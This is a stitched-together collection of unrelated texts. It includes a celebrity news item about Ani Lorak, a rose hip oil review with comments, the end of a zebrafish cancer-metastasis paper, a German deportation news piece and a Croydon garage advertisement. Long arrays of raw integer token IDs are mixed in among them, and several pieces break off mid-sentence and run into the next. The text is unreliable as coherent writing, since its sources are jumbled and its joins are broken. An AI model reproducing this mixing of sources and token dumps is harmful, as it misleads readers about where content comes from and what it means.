2715, 309, 457, 306, 1119, 310 ]

cake at an amorous fan after he jumped on stage and began kissing and hugging her. Ukrainian star Ani Lorak was being presented with an award when the male fan suddenly grabbed her - and wouldn't let go. The stunning Eurovision runner-up remained polite at first, but when the fan wouldn't let and began kissing her hand she panicked. Her security team rushed forward to restrain the intruder, but the beautiful 38-year-old had already decided to take matters into her own hands. (Image: CEN) (Image: CEN) She grabbed a cake beside her and threw it at the attacker - but it just missed him. The cake landed on the floor of the Muz TV channel studio where a crew were filming a 20-hour television marathon as part of a record-breaking attempt. Meanwhile, two security guards grabbed hold of the young fan, who was dressed all in black and wearing a woollen hat, and took him away. (Image: CEN) The incident did not affect the success of the record bid and the marathon has taken its place in the Russian national book of records. Lorak is a pop singer, songwriter, actress, entrepreneur, and former UN Goodwill Ambassador who has been cited as one of the most powerful and influential women in Ukraine. She represented her country at the 2008 Eurovision Song Contest with the song Shady Lady and came in second behind Dima Bilan from Russia.It’s that time of year again. Summer means bug bites. Most bug bites are not serious. The most common bug bites come from bees, wasps, and mosquitos. Less common bug bites include fleas, spiders, and ticks. A bug bite might itch, sting, swellReview: Kosmea Rose Hip Oil Kosmea is an Australian skincare brand that’s still owned and run by an Australian family. I don’t know the whole story of how rose hip oil got so popular, but Kosmea Rose Hip Oil is the only one that claims to be the original rose hip oil, so I’d take their word for it 😉 Unlike most other rose hip oils, Kosmea rose hip oil isn’t South American – it’s sourced from certified organic, hand-picked rosehips from Lesotho in Africa, which supports the local community. The oil is extracted from the whole rose hip (seed, skin, and fruit) using a supercritical CO2 process which doesn’t require heating, which means far less of the unstable nutrients in the oil are destroyed during processing. (A’kin Rose Hip Oil, which I reviewed earlier, also uses a supercritical CO2 extraction process, but with Chilean rose hips, and the seeds only. In one study, oil from whole rose hip fruit was found to have a higher carotenoid (vitamin A) and tocopherol (vitamin E) concentration. I have no idea whether Kosmea Rose Hip Oil has a higher antioxidant content, or whether this results in an observable difference when used on skin.) Just like A’kin Rose Hip Oil, this absorbed quickly (maybe a tiny bit quicker) and has left my skin clear and glowing. Kosmea’s (left) is slightly darker than A’kin’s (right), but neither makes my skin noticeably different in colour when rubbed in… perhaps if you’re incredibly white you might see a difference? Kosmea oil smells slightly stronger than A’kin oil, but the scent disappears after a minute. I don’t find it unpleasant (kind of musty), and it’s easily covered up once I put my moisturiser on over it. I can’t really tell the difference between the two in terms of their effect on my skin – how do you tell the difference between astounding and breathtaking? I have nothing but praise for both these brands of Rose Hip Oil – all the fangirly gushing I did in the A’kin review equally applies here! Are there any other brands of Rose Hip Oil you think I should try out? (Product provided by PR for consideration, which did not affect my opinion of it. Kosmea Rose Hip Oil is available in selected pharmacies and David Jones, or from their website or other e-tailers. RRP AU$24.95 for 20 mL, AU$44.95 for 42 mL.) I’ve been emailing rose hip oil companies and trying to work out the key differences between all the oils – some of them are taking a while to get back to me! I didn’t realise MooGoo had a rose hip oil, I’ll email them soon and include them in a round-up (hopefully) soon! There are a lot of less expensive rosehip oils for sale. Do you think that the price difference (the expensive ones are something 4x as much) is worth it? Some also add extra vitamin E etc. What is your opinion of that? I’m not sure where you’re from – in Australia, cheap rosehip oil isn’t commonplace as far as I know. Most unrefined (i.e. orangey, rosehip-smelling) rosehip oils extracted using heat-free processes (cold-pressed or CO2 extraction) are in the RRP $15-25 per 20-25 mL price range (A’kin, Kosmea, Sukin, Trilogy). I’ve recently found out (courtesy of Miss Directions above) that MooGoo also sell a slightly cheaper one – $12/20 mL. I think all of them have some sort of organic certification as well. The one super-cheap rose hip oil I’ve had experience with is one I ordered online – Now Foods rose hip oil, something like $6/30 mL. It’s more refined (colourless and odourless), which takes out a lot of the vitamins and other micronutrients. It still has the fatty acids though. So far it hasn’t been as effective, but I haven’t used it for a long enough time to comment. I’ve heard that some people who have irritation issues with the unrefined stuff prefer the “cleaner” refined rose hip oil though. Rosehip oil doesn’t contain much vitamin E at all, so buying a rosehip oil with added vitamin E is not bad since vitamin E is a stable antioxidant that not only benefits skin but it also can help extend the shelf life of the oil. Argan oilbis the one that contains a higher amount of vitamin E naturally. I still buy pure rosehip oil on its own, but added vitamin E may be beneficial (especially if you use your oil slowly and want it to be more stable). I’m not sure if it does since my skin is pretty yellow anyways from the Asian genes 😛 I can’t notice it on my skin, but it might be a problem for pale people. Is the powdered vitamin A applied directly on the face? The closest to a vitamin A measurement I can find is 20-2000 ug carotenoid pigments g-1 extract, depending on extraction technique and whole fruit vs. seed, which I assume is low compared to straight powdered vitamin A. Actually I never used it on my face, just on my hands and fingers, and it was dry Vitamin A (50% beta carotene, 50% retinyl palmitate, or thereabouts) mixed in lotion. The oil is a different form (retinol, some other retinoids too? afaik) and is absorbed into your skin fast and you can overdose from it apparently – so it needs to be in measured amounts and I was always afraid to use it straight for any period of time. I sort of wonder how much is in various brands of rosehip oil and how close to daily levels (or above) the Vit A (and E) is. I used it for a wart* that I got from a hangnail I had (ewww right? sorry… 🙁 nothing else worked on it for 3mos+), but a week and a half of bandage+vitamin A cleared everything up. I got the idea to try topical Vit A after running into a study in the New England Journal of Medicine on skin issues (esp warts & cancers) and topical Vitamin A, which is a billion times more reliable of a source than normal googling yields (“put a banana peel on your face!” etc). Apparently it’s amazing for acne as well, but I haven’t tried it for that. But, if you need an emergency “zit needs to go now!” pure Vitamin A would probably get results overnight. I’m as pale as you can be and have had no trouble with rosehip oil (A’kin brand) changing my skin color at all, even put some on the boyfriend and it didn’t change his skin tone at all either. Wonderful stuff. I’m pale and most rosehip oils like Trilogy, Sukin and Moogoo don’t change the colour of my skin upon application, however Kosmea rosehip oil does add a bit of orange colour to your skin which can stain your pillows if you apply too much or don’t wait for it to absorb so just be cautious of that. It is a good product though, like most other organic rosehip oils. If you’re looking for another CO2-extracted ones that’s both the seed oil and the fruit extract: I can recommend Pai Organics. Depending where you live, can work out cheaper? The cheapest version I’ve found is

[ 271, 2761, 7094, 13955, 2133, 452, 644, 2529, 13, 347, 247, 4460, 4968, 323, 475, 249, 8427, 11, 3675, 38484, 1783, 1254, 35, 1671, 1656, 2053, 588, 320, 273, 1600, 323, 3081, 20407, 1783, 273, 16200, 4702, 273, 3625, 28796, 275, 253, 7026, 20566, 5893, 15, 187, 187, 18786, 187, 6428, 187, 187, 1231, 7568, 1060, 253, 30437, 273, 253, 35836, 26223, 347, 271, 475, 249, 8427, 11, 7645, 323, 253, 1783, 273, 19798, 8770, 273, 1966, 18258, 1341, 13, 1690, 19187, 20204, 432, 1966, 4408, 15, 4855, 6064, 6979, 273, 3153, 35836, 556, 285, 588, 2007, 10073, 275, 1805, 4685, 253, 6944, 6297, 273, 2923, 894, 11492, 285, 16200, 4702, 15, 2006, 3179, 1131, 273, 253, 1566, 985, 824, 347, 1175, 28092, 13, 3477, 10885, 13, 1698, 4815, 285, 5233, 1255, 403, 440, 1148, 4781, 1070, 407, 643, 50021, 16711, 285, 1056, 352, 247, 12532, 985, 323, 2852, 5164, 2175, 275, 3625, 28796, 15, 380, 11361, 273, 253, 12114, 14458, 1307, 10632, 35836, 26223, 1566, 812, 23395, 13503, 4232, 12114, 5056, 254, 1307, 10632, 18258, 3210, 13, 299, 15, 72, 15, 6521, 3210, 13, 285, 778, 320, 247, 9865, 285, 5919, 4968, 281, 7472, 4460, 9282, 8130, 323, 2923, 15, 187, 187, 24163, 6284, 3908, 187, 1702, 18669, 187, 187, 510, 4477, 11165, 326, 597, 452, 642, 11771, 6284, 15, 187, 187, 31649, 4479, 9021, 187, 27240, 187, 187, 25696, 46, 13, 401, 47370, 13, 18526, 13, 418, 3123, 13, 3437, 41, 13, 353, 4132, 285, 13874, 35, 858, 5661, 789, 285, 6518, 342, 4028, 253, 7714, 15, 13874, 35, 858, 2199, 7219, 285, 4159, 253, 7714, 15, 1876, 4477, 1239, 285, 7012, 253, 2457, 7714, 15, 187, 187, 7420, 14, 4387, 318, 2892, 187, 27240, 187, 187, 510, 638, 14, 4387, 318, 2892, 323, 436, 2929, 476, 320, 19197, 1060, 27, 187, 187, 29, 2413, 1358, 2700, 15, 4193, 14944, 25765, 15, 681, 16, 44389, 14, 1348, 2922, 16, 26, 16, 8196, 16, 3456, 16712, 31, 187, 187, 9227, 17724, 187, 17863, 187, 187, 5146, 14117, 1873, 337, 187, 187, 424, 38338, 30136, 12530, 30136, 273, 512, 4679, 1690, 18258, 11286, 569, 285, 25602, 273, 3625, 4502, 1341, 13, 1453, 7944, 13, 10643, 51, 284, 285, 10643, 51, 284, 53, 4161, 14, 5346, 1341, 13, 3643, 37675, 14, 52, 285, 3643, 37675, 14, 53, 1341, 13, 19710, 511, 10680, 4127, 1341, 285, 21690, 28796, 313, 2973, 251, 18371, 793, 481, 187, 187, 5146, 2490, 187, 7146, 1060, 323, 1873, 187, 187, 5146, 14117, 1873, 374, 187, 187, 424, 22098, 51, 284, 1341, 12530, 495, 37, 14433, 273, 10643, 51, 284, 1341, 275, 253, 340, 16537, 387, 495, 69, 2059, 313, 938, 89, 28358, 481, 187, 187, 5146, 2490, 187, 7146, 1060, 323, 1873, 187, 187, 5146, 14117, 1873, 495, 187, 187, 424, 53, 4161, 14, 5346, 4127, 10643, 51, 284, 1341, 12530, 495, 37, 14433, 273, 10643, 51, 284, 18785, 14, 5346, 4127, 1341, 275, 253, 22285, 35688, 387, 495, 69, 2059, 313, 938, 89, 28358, 481, 187, 187, 5146, 2490, 187, 7146, 1060, 323, 1873, 187, 187, 5146, 14117, 1873, 577, 187, 187, 424, 4769, 47893, 6440, 273, 28567, 18785, 14, 5346, 4127, 10643, 51, 284, 1341, 12530, 41749, 27615, 337, 27, 6865, 47893, 6440, 313, 4427, 27, 337, 3665, 16, 15505, 10, 4645, 10643, 51, 284, 18785, 14, 5346, 1341, 534, 452, 35909, 253, 35836, 2133, 13, 452, 5600, 30510, 715, 253, 35244, 1177, 285, 452, 6769, 1025, 13392, 4375, 275, 253, 608, 1388, 1711, 23844, 15, 3808, 1341, 403, 7985, 275, 253, 2614, 5542, 5727, 2571, 452, 32792, 284, 456, 432, 253, 35244, 1177, 15, 187, 187, 5146, 2490, 187, 7146, 1060, 323, 1873, 187, 187, 5146, 14117, 1873, 608, 187, 187, 424, 56, 517, 13255, 475, 249, 7991, 11, 78, 15037, 6981, 5081, 3, 8658, 1506, 6981, 61, 2807, 12530, 11641, 14, 3169, 475, 249, 7991, 11, 78, 15037, 6981, 323, 3643, 37675, 14, 52, 285, 3643, 37675, 14, 53, 1341, 15, 187, 187, 5146, 2490, 187, 7146, 1060, 323, 1873, 187, 187, 5146, 14117, 1873, 721, 187, 187, 424, 45, 471, 273, 17351, 275, 502, 13807, 8011, 7448, 63, 10082, 1103, 12530, 10417, 673, 6440, 273, 1453, 6773, 285, 502, 13807, 8011, 7448, 63, 12306, 387, 495, 277, 18569, 313, 18, 277, 2059, 481, 380, 6440, 2722, 247, 1453, 6773, 342, 247, 18019, 2798, 285, 342, 7985, 19682, 2614, 1341, 15, 380, 1273, 629, 273, 253, 6440, 18303, 247, 502, 13807, 8011, 7448, 63, 12306, 342, 247, 18019, 2798, 15, 1621, 17351, 310, 24802, 275, 253, 10500, 6773, 28, 253, 2626, 629, 273, 253, 6440, 310, 247, 2169, 28358, 273, 247, 1453, 6773, 275, 253, 2170, 273, 253, 2614, 17546, 285, 8105, 13, 4645, 1341, 19682, 275, 253, 35244, 1177, 299, 15, 72, 15, 36112, 267, 17716, 13, 22285, 35688, 285, 734, 29429, 267, 12671, 15, 380, 1390, 629, 273, 253, 6440, 2722, 247, 2169, 28358, 273, 247, 502, 13807, 8011, 7448, 63, 12306, 275, 253, 1072, 2170, 273, 253, 2614, 17546, 347, 253, 1453, 15, 496, 4499, 281, 253, 1453, 35836, 13, 253, 502, 13807, 8011, 7448, 63, 12306, 1057, 417, 7081, 247, 5164, 11172, 985, 285, 2722, 642, 861, 273, 17351, 15, 187, 187, 5146, 2490, 187, 7146, 1060, 323, 1873, 187, 187, 5146, 14117, 1873, 818, 187, 187, 424, 2302, 19798, 8770, 273, 28567, 18258, 1341, 275, 502, 13807, 10500, 19019, 12530, 3643, 37675, 14, 53, 1341, 13945, 715, 1453, 285, 502, 13807, 8011, 27652, 8011, 63, 16697, 610, 375, 15, 187, 187, 5146, 2490, 187, 7146, 1060, 323, 1873, 187, 187, 5146, 14117, 1873, 854, 187, 187, 424, 5077, 1322, 10456, 12530, 31373, 4205, 35055, 273, 247, 18404, 18258, 38887, 26223, 15, 187, 187, 5146, 2490, 187, 7146, 1060, 323, 1873, 187, 187, 5146, 14117, 1873, 898, 187, 187, 424, 23644, 25101, 273, 18404, 18258, 1341, 12530, 10417, 14, 2606, 6440, 273, 18404, 18258, 1341, 275, 253, 35836, 337, 1388, 846, 247, 18404, 2923, 10087, 369, 38887, 15, 4082, 42144, 18258, 1341, 285, 18258, 1341, 534, 452, 32792, 284, 456, 715, 253, 591, 400, 5670, 4408, 273, 247, 495, 1388, 1711, 35836, 403, 7985, 15, 329, 4886, 3625, 1966, 18258, 894, 8136, 949, 253, 36112, 267, 17716, 285, 715, 271, 734, 29429, 267, 11179, 310, 671, 7985, 15, 187, 187, 5146, 2490, 187, 7146, 1060, 323, 1873, 187, 187, 5146, 14117, 1873, 884, 187, 187, 424, 53, 360, 454, 894, 275, 253, 35244, 1177, 12530, 10417, 14, 2606, 6440, 273, 247, 18404, 2923, 894, 7808, 26696, 272, 949, 253, 35244, 1177, 313, 783, 36112, 267, 17716, 10, 273, 247, 42784, 9, 71, 965, 18, 27, 70, 14160, 10, 35836, 26223, 15, 187, 187, 5146, 2490, 187, 7146, 1060, 323, 1873, 187, 187, 35838, 187, 1702, 187, 187, 1231, 651, 751, 281, 5717, 443, 15, 19353, 1808, 323, 28106, 253, 6521, 1341, 13, 3826, 90, 372, 34534, 323, 521, 629, 273, 5893, 15519, 285, 8174, 493, 21405, 22993, 285, 500, 12451, 45101, 254, 323, 4619, 16157, 327, 253, 7714, 15, 844, 651, 2007, 751, 281, 14409, 285, 5717, 253, 308, 3090, 12188, 257, 5307, 29891, 42849, 285, 1889, 293, 895, 261, 13, 347, 253, 3236, 2603, 273, 253, 502, 13807, 10500, 19019, 15, 831, 789, 369, 4516, 407, 16311, 432, 253, 26467, 12153, 323, 6875, 285, 10784, 313, 52, 6764, 41, 16, 8561, 16, 1630, 24724, 16, 8603, 582, 253, 45187, 611, 21363, 1200, 300, 453, 313, 740, 14, 938, 2405, 14, 4015, 10, 285, 253, 1219, 41717, 14, 44, 579, 377, 14, 38034, 15, 187, 6175, 253, 5685, 4400, 2208, 310, 2819, 281, 2572, 253, 1180, 273, 44581, 569, 273, 4242, 23717, 44774, 13, 9933, 13001, 3977, 407, 1669, 14, 7706, 4676, 403, 2820, 281, 3657, 731, 15, 187, 187, 7130, 281, 253, 5685, 7671, 13677, 323, 49063, 285, 44438, 265, 313, 35, 2300, 39, 582, 273, 253, 337, 15, 21, 3041, 25991, 665, 2210, 281, 253, 2586, 1580, 4059, 11184, 685, 2716, 497, 7169, 2120, 23717, 28, 253, 5780, 2716, 497, 840, 2783, 2057, 4242, 23717, 44774, 390, 9676, 16618, 13, 5012, 9362, 47679, 15, 187, 187, 4527, 253, 8307, 273, 6763, 273, 2442, 44581, 4317, 760, 5325, 13, 933, 13, 6571, 432, 253, 41028, 507, 13, 452, 25706, 1669, 6176, 281, 1091, 281, 616, 2860, 293, 2287, 15, 3900, 690, 5619, 26886, 285, 13376, 47912, 452, 4783, 896, 1955, 281, 27531, 342, 616, 2629, 273, 3811, 275, 23717, 9076, 13, 1142, 4242, 23717, 44774, 432, 3729, 7531, 3464, 1955, 281, 253, 1029, 4815, 285, 440, 1940, 7105, 13001, 275, 616, 1728, 4343, 15, 187, 187, 510, 4676, 273, 253, 5685, 1669, 1108, 253, 8404, 10823, 313, 4350, 37, 582, 253, 33315, 13, 285, 9362, 18077, 413, 313, 783, 15584, 10, 1108, 971, 281, 1527, 598, 2442, 11865, 323, 4242, 23717, 44774, 281, 2489, 8811, 2581, 685, 44581, 731, 15, 41332, 13, 253, 747, 1669, 14, 7706, 20706, 2208, 275, 253, 5685, 5347, 273, 12911, 403, 970, 616, 1612, 281, 3657, 44581, 569, 275, 253, 2846, 15, 187, 187, 510, 773, 433, 14, 433, 14, 11707, 668, 20706, 347, 597, 403, 1929, 971, 281, 2794, 247, 773, 1148, 324, 15379, 5333, 668, 326, 651, 11907, 10945, 23717, 44774, 281, 564, 1728, 25706, 2581, 685, 3490, 731, 281, 3553, 15, 380, 2118, 812, 2847, 3237, 347, 1142, 665, 16410, 281, 3553, 812, 320, 1677, 9928, 37647, 3708, 534, 846, 4314, 1107, 812, 1014, 1421, 281, 731, 1146, 26299, 5685, 24588, 15, 187, 187, 14067, 253, 2208, 14707, 281, 1091, 690, 1249, 13, 933, 13376, 47912, 13, 253, 1669, 4676, 1750, 253, 2586, 310, 1335, 1512, 8312, 323, 731, 281, 1091, 13, 5747, 253, 5685, 4400, 2208, 1024, 3183, 2182, 16111, 347, 247, 4999, 2586, 15, 380, 2502, 14, 433, 14, 72, 10436, 1014, 12009, 253, 2934, 273, 44581, 272, 35532, 896, 281, 253, 41028, 266, 3054, 984, 597, 4138, 326, 597, 651, 11089, 432, 247, 3480, 273, 4730, 13, 14192, 13, 285, 11081, 15, 187, 187, 1909, 504, 432, 12911, 13, 2067, 643, 4811, 452, 1705, 562, 1411, 6726, 44581, 569, 824, 347, 378, 2013, 257, 13, 596, 981, 571, 13, 285, 3697, 868, 28015, 14, 24095, 6339, 3692, 13001, 403, 512, 6537, 407, 1669, 14, 7706, 10089, 4431, 15, 187, 187, 37356, 342, 8109, 271, 990, 281, 6726, 44581, 569, 13, 253, 1669, 4676, 403, 23318, 273, 2021, 27135, 1877, 1146, 6508, 4457, 616, 8993, 2021, 6941, 25991, 281, 3324, 616, 6508, 2021, 281, 6176, 13, 347, 973, 15, 187, 187, 10195, 25991, 13, 5619, 26886, 275, 1798, 13, 403, 402, 272, 378, 2300, 39, 281, 755, 2120, 23717, 3708, 281, 1056, 2021, 27135, 1877, 6927, 13, 533, 841, 2219, 452, 3977, 281, 581, 5963, 27906, 326, 417, 512, 5619, 26886, 943, 320, 8356, 12258, 347, 14905, 19382, 15, 28782, 7225, 272, 27, 187, 187, 34960, 457, 84, 5271, 375, 10867, 486, 708, 27376, 982, 330, 4926, 9903, 187, 187, 21096, 281, 11290, 457, 84, 5271, 375, 27376, 982, 15, 35211, 1428, 275, 14828, 285, 342, 6746, 1131, 2439, 330, 4926, 9903, 285, 697, 8704, 3672, 13, 359, 403, 634, 11453, 285, 9630, 1980, 17823, 323, 512, 273, 634, 1733, 4263, 3198, 15, 844, 3959, 247, 15143, 1249, 14, 7791, 17529, 327, 512, 4243, 285, 18213, 13, 2299, 1943, 390, 1355, 13, 4933, 368, 4555, 253, 6330, 273, 2564, 326, 368, 878, 672, 634, 4958, 3198, 789, 2509, 15, 187, 187, 31352, 1131, 187, 187, 1231, 403, 247, 973, 4232, 34794, 9145, 285, 4958, 8706, 9145, 13, 342, 6746, 1131, 4441, 1475, 330, 4926, 9903, 13, 512, 273, 776, 34794, 6746, 1131, 403, 4441, 327, 2022, 13939, 15, 1916, 19912, 776, 6746, 1131, 4496, 4143, 776, 3057, 3239, 285, 1859, 776, 12453, 2530, 15, 2726, 776, 2285, 273, 4122, 12165, 285, 7407, 40560, 285, 776, 14260, 14, 17556, 6746, 1131, 13, 359, 403, 2104, 281, 3959, 247, 4618, 2491, 273, 8651, 3238, 13, 432, 247, 963, 250, 1818, 390, 1113, 2579, 281, 271, 3948, 21550, 15, 187, 187, 31352, 486, 9491, 187, 187, 1231, 3959, 253, 2120, 2491, 273, 19476, 3238, 368, 651, 1902, 432, 247, 806, 966, 19476, 1690, 1296, 11733, 13, 34794, 84, 13, 3948, 39266, 285, 6753, 5637, 84, 347, 973, 347, 247, 2491, 273, 25931, 15, 3824, 19476, 3238, 1705, 4122, 8521, 285, 594, 513, 776, 7911, 28, 359, 15555, 9361, 327, 17749, 776, 7911, 403, 1900, 4934, 387, 247, 12085, 2281, 15 ]

an almost entirely transparent body have been described, as a novel tool for *in vivo*transplantation analysis \[[@B35]\]. These will be of interest for additional comparative analysis of metastasis formation of primary tumours in the immune competent animal. Conclusion ========== We demonstrate here the applicability of the zebrafish embryo as an *in vivo*model for the analysis of metastatic behaviour of human tumour cells, including resection specimen from human tissue. High resolution imaging of live zebrafish has and will further assist in better understanding the underlying mechanisms of cancer cell invasion and metastasis formation. Advantages of the model system such as good accessibility, easy handling, low costs and rapidness are unparalleled by other vertebrate organisms and make it a promising system for future functional studies in primary tumours. The advantages of the \"short term\" zebrafish embryo model could nicely complement established \"longer term\" tumour models, e.g. mouse models, and may be a valuable and efficient tool to evaluate novel therapeutic strategies for cancer. Competing interests statement ============================= The authors declare that they have no competing interests. Authors\' contributions ======================= IJM, FUW, CN, LIP, CDH, MML and CPB did experimental work and helped with writing the manuscript. CPB did project planning and wrote the manuscript. All authors read and approved the final manuscript. Pre-publication history ======================= The pre-publication history for this paper can be accessed here: <http://www.biomedcentral.com/1471-2407/9/128/prepub> Supplementary Material ====================== ###### Additional file 1 **Supplemental Tables**. Tables of all experiments including tumour transplantations and injections of primary tumor cells, control tissues, EpRas and EpRasTGF-β cells, PaTu-S and PaTu-T cells,Protease inhibitor treated cells and benign tumours (Colon Polyps). ###### Click here for file ###### Additional file 2 **EpRas cells**. 3D reconstruction of EpRas cells in the yolk at 3dpi (20x magnification). ###### Click here for file ###### Additional file 3 **TGF-β treated EpRas cells**. 3D reconstruction of EpRas TGF-β treated cells in the dorsal aorta at 3dpi (20x magnification). ###### Click here for file ###### Additional file 4 **Time lapse movie of implanted TGF-β treated EpRas cells**. Supplemental Movie 1: Time lapse movie (rate: 1 frame/minute) showing EpRas TGF-β cells which have invaded the zebrafish body, have translocated into the vasculature and have colonized distant sites in the 5 day old larvae. Some cells are visible in the blood stream whereas others have extravasated from the vasculature. ###### Click here for file ###### Additional file 5 **Wound healing *in vitro*migration assay (\"scratch assay\")**. Cell-based *in vitro*migration assay for PaTu-S and PaTu-T cells. ###### Click here for file ###### Additional file 6 **Lack of circulation in cloche^-/-^mutants**. Real time movie of control fish and cloche^-/-^fish at 3 dpf (1 dpi). The movie shows a control fish with a beating heart and with visible circulating blood cells. The second part of the movie illustrates a cloche^-/-^fish with a beating heart. No circulation is observable in the mutant fish; the third part of the movie is a higher magnification of a control fish in the area of the blood islands and tail, showing cells circulating in the vasculature e.g. caudal vein, dorsal aorta and intersegmental vessels. The last part of the movie shows a higher magnification of a cloche^-/-^fish in the same area of the blood islands as the control. In contrast to the control zebrafish, the cloche^-/-^fish does not possess a functional vascular system and shows no sign of circulation. ###### Click here for file ###### Additional file 7 **No metastatic behaviour of implanted tumour cells in cloche mutant embryos**. PaTu-T cells injected into control and cloche^-^/^-^embryos. ###### Click here for file ###### Additional file 8 **PCNA staining**. Whole mount immunofluorescence of a pancreatic tumour transplanted embryo. ###### Click here for file ###### Additional file 9 **Circulation of pancreatic tumour cells**. Real-time movie of pancreatic tumour cells in the zebrafish 1 day after a pancreatic cancer fragment was transplanted. Circulating tumour cells and tumour cells which have extravasated into the perivascular tissue of a 3 day old zebrafish are visible. A moving primary human tumour cell passing through the caudal vein and into an intersegmental vessel is also visible. ###### Click here for file ###### Additional file 10 **Tumour cell in the vasculature**. Real-time movie of a pancreatic cancer cell slowly traversing through the vasculature (the caudal vein) of a Tg(fli1:eGFP) zebrafish embryo. ###### Click here for file Acknowledgements ================ We would like to thank G. Posern for supplying the mouse cells, Davy de Witt for his part of animal welfare and Joost Woltering and Jaya Besser for critical remarks on the manuscript. We would further like to acknowledge and thank the Tübingen 2000 Screen Consortium and Exelixis, as the original source of the cloche mutant embryos. This work was supported by grants from the Portuguese foundation for Science and Technology (SFRH/BD/27262/2006), the Deutsche Krebshilfe (10-2031-Le) and the Alfried-Krupp-Foundation. While the German federal government is looking to increase the number of deportations of failed asylum seekers, regional governments led by left-wing parties are trying to prevent them. According to the German Federal Agency for Migration and Refugees (BAMF), of the 1.4 million migrants who came to the country since 2014 fewer than half were granted full asylum; the remaining half were then considered either failed asylum seekers or illegal immigrants, reports Die Welt. Of the hundreds of thousands of potential deportees only 95,000, mostly from the Balkans, have voluntarily left Germany to return to their homelands. While some Syrians and Afghan nationals have gone back due to disappointment with their standard of living in asylum homes, many failed asylum seekers from North Africa remain due to the high costs and uncooperative governments in their home countries. The parties of the German left – the Social Democrats (SPD), the Greens, and Die Linke (the Left) – want to open up potential paths for failed asylum seekers to become residents rather than deport them. Already, the new left-wing coalition government in the German capital of Berlin are using their power to prevent deportations in the city. The “red-red-green” coalition as they are known want to create a “paradigm shift” that would encourage rejected asylum seekers to go home voluntarily rather than force them to leave. The move could cause problems as many who refuse to leave could be given permanent residency status which after eight years could even lead to them being afforded German citizenship. Despite the government wanting to return some 12,000 Afghan nationals, the left parties claim the country is still too dangerous for them to return, despite the German federal government now recognising Afghanistan as a safe country. The red-red-greens even reject the idea of deporting Roma back to the Balkan states because they assert that they would suffer from a lack of education, poverty, and discrimination. Aside from Berlin, several other regions have come out against forced deportations such as Bremen, Thuringia, and Schleswig-Holstein whose governments are all controlled by left-wing coalitions. Along with supporting an end to forced deportations, the left parties are advocates of family reunification being extended beyond their immediate family allowing migrants to bring their extended family to Germany, as well. Many migrants, Syrians in particular, are suing BAMF to get full asylum status to make family reunification easier, but these cases have led to one judge declaring that not all Syrians should be automatically regarded as legitimate refugees.Quick Booking: Ken’s Autos Garage & Mechanics Croydon Welcome to Ken’s Autos Mechanics. Established in 1976 and with garages across Croydon and its surrounding areas, we are your friendly and reliable local mechanics for all of your motoring needs. We offer a fantastic 12-month warranty on all parts and labour, however big or small, giving you exactly the peace of mind that you need when your vehicle needs work doing. Garages We are a well established MOT centre and vehicle repair centre, with garages located around Croydon, all of our MOT garages are located on main roads. To locate our garages please visit our contact page and view our addresses provided. With our team of highly qualified and experienced technicians and our hi-tech garages, we are able to offer a wide range of mechanical services, from a tyre change or car service to an engine rebuild. Garage Services We offer the full range of garage services you would expect from a first class garage including servicing, MOTs, engine diagnostics and auto electrics as well as a range of repairs. Our garage services come highly recommended and so do our prices; we pride ourselves on ensuring our prices are always kept at a competitive rate.

[ 559, 24615, 27475, 187, 187, 5045, 17374, 273, 551, 31814, 551, 10464, 91, 426, 10464, 91, 13, 24615, 27475, 426, 24615, 27475, 748, 5204, 10464, 91, 559, 24615, 27475, 748, 535, 21595, 13, 2363, 14, 3169, 7212, 323, 21565, 10919, 2978, 275, 2151, 15, 187, 1992, 3653, 247, 2969, 13, 2363, 1754, 7212, 323, 21565, 7445, 10919, 2978, 275, 2151, 15, 12751, 267, 1979, 310, 247, 9865, 10705, 275, 253, 7103, 273, 2151, 342, 1484, 36083, 9360, 15, 4129, 1142, 4477, 452, 2529, 2570, 7163, 17629, 285, 21471, 23276, 323, 8925, 10919, 1979, 13, 359, 12661, 247, 2969, 285, 7899, 7212, 15, 1876, 10919, 18533, 313, 3016, 10, 2175, 2684, 689, 247, 898, 14, 2913, 2180, 275, 1363, 654, 1093, 1107, 273, 2363, 497, 39599, 6760, 13, 22914, 1363, 342, 247, 2892, 273, 19006, 10649, 2728, 390, 342, 10969, 10919, 1982, 4342, 15, 18039, 33035, 2261, 497, 2684, 275, 818, 3141, 2151, 654, 1093, 1107, 665, 1313, 11250, 6866, 15, 49954, 14, 531, 2558, 273, 253, 3110, 3072, 369, 12667, 18, 807, 273, 2363, 387, 253, 673, 273, 253, 1982, 15, 34981, 14, 12496, 2558, 273, 253, 2151, 497, 5086, 15, 496, 2151, 337, 807, 273, 2363, 390, 5662, 13, 253, 7212, 369, 2978, 313, 3591, 10, 426, 2363, 313, 10526, 10, 6806, 470, 15, 20, 559, 721, 13, 416, 9, 19, 10, 426, 964, 3593, 15, 496, 15330, 9243, 685, 337, 807, 13, 10919, 2978, 369, 15225, 5998, 407, 247, 2969, 2363, 14, 3169, 7212, 15, 3824, 4081, 7212, 476, 320, 908, 281, 3283, 10919, 2978, 275, 2151, 5662, 685, 337, 807, 15, 41937, 9549, 327, 19750, 281, 564, 281, 2143, 347, 419, 2721, 432, 4956, 43156, 23069, 264, 253, 473, 1247, 7121, 275, 5226, 16697, 606, 13, 3684, 7069, 29628, 13, 23340, 13, 7948, 13, 4005, 15, 1458, 13, 4104, 15, 13303, 43156, 4269, 407, 9676, 2659, 22980, 275, 23340, 434, 7069, 29628, 285, 378, 9584, 80, 17546, 2223, 5195, 448, 6856, 419, 2721, 281, 20667, 4343, 824, 347, 23799, 285, 16861, 15, 313, 2088, 15837, 10, 187, 9, 510, 23323, 5687, 10, 187, 187, 17557, 698, 757, 2255, 8251, 25965, 1955, 281, 253, 419, 2721, 275, 611, 780, 66, 418, 1765, 321, 13, 23799, 7948, 13, 4005, 15, 1458, 13, 4104, 15, 329, 3828, 273, 5536, 419, 2721, 556, 6726, 48191, 9061, 281, 6294, 6629, 275, 1740, 3054, 13, 1690, 611, 780, 66, 418, 1765, 321, 13, 342, 6338, 281, 3135, 9005, 396, 7022, 5871, 281, 1611, 281, 10808, 9313, 281, 1361, 2590, 253, 2329, 15, 313, 2088, 15837, 16, 39324, 5738, 5171, 10, 187, 9, 510, 23323, 5687, 10, 187, 187, 17557, 698, 2458, 8251, 25965, 1955, 281, 253, 419, 2721, 275, 611, 780, 66, 418, 1765, 321, 13, 23799, 327, 7948, 13, 4005, 15, 1458, 13, 4104, 15, 329, 3828, 273, 5536, 419, 2721, 556, 6726, 48191, 9061, 281, 6294, 6629, 275, 1740, 3054, 13, 1690, 611, 780, 66, 418, 1765, 321, 13, 342, 6338, 281, 3135, 9005, 396, 7022, 5871, 281, 1611, 281, 10808, 9313, 281, 1361, 2590, 253, 